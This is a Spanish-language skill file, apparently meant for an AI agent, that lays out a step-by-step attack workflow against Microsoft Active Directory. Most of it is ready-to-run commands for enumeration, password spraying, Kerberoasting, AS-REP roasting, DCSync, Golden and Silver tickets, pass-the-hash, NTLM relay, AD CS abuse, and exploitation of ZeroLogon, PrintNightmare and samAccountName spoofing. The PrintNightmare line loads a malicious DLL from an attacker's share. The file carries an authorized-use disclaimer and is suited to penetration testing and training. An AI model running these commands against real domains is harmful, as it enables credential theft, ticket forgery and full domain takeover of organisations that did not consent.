SOLO PARA USO AUTORIZADO: Utilice esta habilidad solo para evaluaciones de seguridad autorizadas, validación defensiva o entornos educativos controlados.
Ataques a Active Directory
Propósito
Proporciona técnicas integrales para atacar entornos de Microsoft Active Directory. Cubre reconocimiento, cosecha de credenciales, ataques Kerberos, movimiento lateral, escalada de privilegios y dominio del dominio para operaciones de equipo rojo y pruebas de penetración.
Entradas/Prerrequisitos
- Plataforma de ataque Kali Linux o Windows
- Credenciales de usuario de dominio (para la mayoría de los ataques)
- Acceso de red al Controlador de Dominio
- Herramientas: Impacket, Mimikatz, BloodHound, Rubeus, CrackMapExec
Salidas/Entregables
- Datos de enumeración del dominio
- Credenciales y hashes extraídos
- Tickets Kerberos para suplantación
- Acceso de Administrador de Dominio
- Mecanismos de acceso persistente
Herramientas Esenciales
| Herramienta | Propósito |
|---|---|
| BloodHound | Visualización de rutas de ataque AD |
| Impacket | Herramientas de ataque AD en Python |
| Mimikatz | Extracción de credenciales |
| Rubeus | Ataques Kerberos |
| CrackMapExec | Explotación de red |
| PowerView | Enumeración de AD |
| Responder | Envenenamiento LLMNR/NBT-NS |
Flujo de Trabajo Principal
Paso 1: Sincronización de Reloj Kerberos
Kerberos requiere sincronización de reloj (±5 minutos):
# Detectar desviación de reloj
nmap -sT 10.10.10.10 -p445 --script smb2-time
# Corregir reloj en Linux
sudo date -s "14 ABR 2024 18:25:16"
# Corregir reloj en Windows
net time /domain /set
# Reloj falso sin cambiar la hora del sistema
faketime -f '+8h' <comando>
Paso 2: Reconocimiento AD con BloodHound
# Iniciar BloodHound
neo4j console
bloodhound --no-sandbox
# Recopilar datos con SharpHound
.\SharpHound.exe -c All
.\SharpHound.exe -c All --ldapusername usuario --ldappassword contraseña
# Colector Python (desde Linux)
bloodhound-python -u 'usuario' -p 'contraseña' -d dominio.local -ns 10.10.10.10 -c all
Paso 3: Enumeración con PowerView
# Obtener información del dominio
Get-NetDomain
Get-DomainSID
Get-NetDomainController
# Enumerar usuarios
Get-NetUser
Get-NetUser -SamAccountName usuarioobjetivo
Get-UserProperty -Properties pwdlastset
# Enumerar grupos
Get-NetGroupMember -GroupName "Administradores de Dominio"
Get-DomainGroup -Identity "Administradores de Dominio" | Select-Object -ExpandProperty Member
# Encontrar acceso de administrador local
Find-LocalAdminAccess -Verbose
# Caza de usuarios
Invoke-UserHunter
Invoke-UserHunter -Stealth
Ataques de Credenciales
Rociado de Contraseñas
# Usando kerbrute
./kerbrute passwordspray -d dominio.local --dc 10.10.10.10 usuarios.txt Password123
# Usando CrackMapExec
crackmapexec smb 10.10.10.10 -u usuarios.txt -p 'Password123' --continue-on-success
Kerberoasting
Extraer tickets TGS de cuentas de servicio y crackearlos fuera de línea:
# Impacket
GetUserSPNs.py dominio.local/usuario:contraseña -dc-ip 10.10.10.10 -request -outputfile hashes.txt
# Rubeus
.\Rubeus.exe kerberoast /outfile:hashes.txt
# CrackMapExec
crackmapexec ldap 10.10.10.10 -u usuario -p contraseña --kerberoast salida.txt
# Crackear con hashcat
hashcat -m 13100 hashes.txt rockyou.txt
AS-REP Roasting
Apuntar a cuentas con "No requerir autenticación previa de Kerberos":
# Impacket
GetNPUsers.py dominio.local/ -usersfile usuarios.txt -dc-ip 10.10.10.10 -format hashcat
# Rubeus
.\Rubeus.exe asreproast /format:hashcat /outfile:hashes.txt
# Crackear con hashcat
hashcat -m 18200 hashes.txt rockyou.txt
Ataque DCSync
Extraer credenciales directamente del DC (requiere derechos de Replicar cambios de directorio):
# Impacket
secretsdump.py dominio.local/admin:contraseñ[email protected] -just-dc-user krbtgt
# Mimikatz
lsadump::dcsync /domain:dominio.local /user:krbtgt
lsadump::dcsync /domain:dominio.local /user:Administrador
Ataques de Tickets Kerberos
Pass-the-Ticket (Golden Ticket)
Forjar TGT con hash krbtgt para cualquier usuario:
# Obtener hash krbtgt primero mediante DCSync
# Mimikatz - Crear Golden Ticket
kerberos::golden /user:Administrador /domain:dominio.local /sid:S-1-5-21-xxx /krbtgt:HASH /id:500 /ptt
# Impacket
ticketer.py -nthash HASH_KRBTGT -domain-sid S-1-5-21-xxx -domain dominio.local Administrador
export KRB5CCNAME=Administrador.ccache
psexec.py -k -no-pass dominio.local/[email protected]
Silver Ticket
Forjar TGS para un servicio específico:
# Mimikatz
kerberos::golden /user:Administrador /domain:dominio.local /sid:S-1-5-21-xxx /target:servidor.dominio.local /service:cifs /rc4:HASH_SERVICIO /ptt
Pass-the-Hash
# Impacket
psexec.py dominio.local/[email protected] -hashes :HASHNTLM
wmiexec.py dominio.local/[email protected] -hashes :HASHNTLM
smbexec.py dominio.local/[email protected] -hashes :HASHNTLM
# CrackMapExec
crackmapexec smb 10.10.10.10 -u Administrador -H HASHNTLM -d dominio.local
crackmapexec smb 10.10.10.10 -u Administrador -H HASHNTLM --local-auth
OverPass-the-Hash
Convertir hash NTLM a ticket Kerberos:
# Impacket
getTGT.py dominio.local/usuario -hashes :HASHNTLM
export KRB5CCNAME=usuario.ccache
# Rubeus
.\Rubeus.exe asktgt /user:usuario /rc4:HASHNTLM /ptt
Ataques de Retransmisión NTLM
Responder + ntlmrelayx
# Iniciar Responder (deshabilitar SMB/HTTP para retransmisión)
responder -I eth0 -wrf
# Iniciar retransmisión
ntlmrelayx.py -tf objetivos.txt -smb2support
# Retransmisión LDAP para ataque de delegación
ntlmrelayx.py -t ldaps://dc.dominio.local -wh atacante-wpad --delegate-access
Verificación de Firma SMB
crackmapexec smb 10.10.10.0/24 --gen-relay-list objetivos.txt
Ataques a Servicios de Certificado (AD CS)
ESC1 - Plantillas Malconfiguradas
# Encontrar plantillas vulnerables
certipy find -u [email protected] -p contraseña -dc-ip 10.10.10.10
# Explotar ESC1
certipy req -u [email protected] -p contraseña -ca NOMBRE-CA -target dc.dominio.local -template PlantillaVulnerable -upn [email protected]
# Autenticarse con el certificado
certipy auth -pfx administrador.pfx -dc-ip 10.10.10.10
ESC8 - Retransmisión de Inscripción Web
ntlmrelayx.py -t http://ca.dominio.local/certsrv/certfnsh.asp -smb2support --adcs --template DomainController
CVEs Críticos
ZeroLogon (CVE-2020-1472)
# Verificar vulnerabilidad
crackmapexec smb 10.10.10.10 -u '' -p '' -M zerologon
# Explotar
python3 cve-2020-1472-exploit.py DC01 10.10.10.10
# Extraer hashes
secretsdump.py -just-dc dominio.local/DC01$@10.10.10.10 -no-pass
# Restaurar contraseña (¡importante!)
python3 restorepassword.py dominio.local/DC01@DC01 -target-ip 10.10.10.10 -hexpass CONTRASEÑAHEX
PrintNightmare (CVE-2021-1675)
# Verificar vulnerabilidad
rpcdump.py @10.10.10.10 | grep 'MS-RPRN'
# Explotar (requiere alojar DLL maliciosa)
python3 CVE-2021-1675.py dominio.local/usuario:contraseñ[email protected] '\\atacante\compartido\evil.dll'
Suplantación de samAccountName (CVE-2021-42278/42287)
# Explotación automatizada
python3 sam_the_admin.py "dominio.local/usuario:contraseña" -dc-ip 10.10.10.10 -shell
Referencia Rápida
| Ataque | Herramienta | Comando |
|---|---|---|
| Kerberoast | Impacket | GetUserSPNs.py dominio/usuario:contraseña -request |
| AS-REP Roast | Impacket | GetNPUsers.py dominio/ -usersfile usuarios.txt |
| DCSync | secretsdump | secretsdump.py dominio/admin:contraseña@DC |
| Pass-the-Hash | psexec | psexec.py dominio/usuario@objetivo -hashes :HASH |
| Golden Ticket | Mimikatz | kerberos::golden /user:Admin /krbtgt:HASH |
| Rociado | kerbrute | kerbrute passwordspray -d dominio usuarios.txt Pass |
Restricciones
Obligatorio:
- Sincronizar la hora con el DC antes de los ataques Kerberos
- Tener credenciales de dominio válidas para la mayoría de los ataques
- Documentar todas las cuentas comprometidas
Prohibido:
- Bloquear cuentas con rociado excesivo de contraseñas
- Modificar objetos de AD de producción sin aprobación
- Dejar Golden Tickets sin documentación
Recomendado:
- Ejecutar BloodHound para descubrimiento de rutas de ataque
- Verificar la firma SMB antes de ataques de retransmisión
- Verificar los niveles de parches para explotación de CVEs
Ejemplos
Ejemplo 1: Compromiso de Dominio mediante Kerberoasting
# 1. Encontrar cuentas de servicio con SPNs
GetUserSPNs.py dominio.local/usuariobajo:contraseña -dc-ip 10.10.10.10
# 2. Solicitar tickets TGS
GetUserSPNs.py dominio.local/usuariobajo:contraseña -dc-ip 10.10.10.10 -request -outputfile tgs.txt
# 3. Crackear tickets
hashcat -m 13100 tgs.txt rockyou.txt
# 4. Usar la cuenta de servicio crackeada
psexec.py dominio.local/svc_admin:Contraseñ[email protected]
Ejemplo 2: Retransmisión NTLM a LDAP
# 1. Iniciar retransmisión apuntando a LDAP
ntlmrelayx.py -t ldaps://dc.dominio.local --delegate-access
# 2. Activar autenticación (ej., mediante PrinterBug)
python3 printerbug.py dominio.local/usuario:contraseña@objetivo 10.10.10.12
# 3. Usar la cuenta de máquina creada para ataque RBCD
Solución de Problemas
| Problema | Solución |
|---|---|
| Desviación de reloj demasiado grande | Sincronizar hora con DC o usar faketime |
| Kerberoasting devuelve vacío | No hay cuentas de servicio con SPNs |
| DCSync acceso denegado | Se necesitan derechos de Replicar cambios de directorio |
| Retransmisión NTLM falla | Verificar firma SMB, probar destino LDAP |
| BloodHound vacío | Verificar que el colector se ejecutó con credenciales correctas |
Recursos Adicionales
Para técnicas avanzadas que incluyen ataques de delegación, abuso de GPO, ataques a RODC, implementación SCCM/WSUS, explotación de ADCS, relaciones de confianza e integración de AD Linux, consulte references/advanced-attacks.md.
Cuándo Usar
Esta habilidad es aplicable para ejecutar el flujo de trabajo o las acciones descritas en la visión general.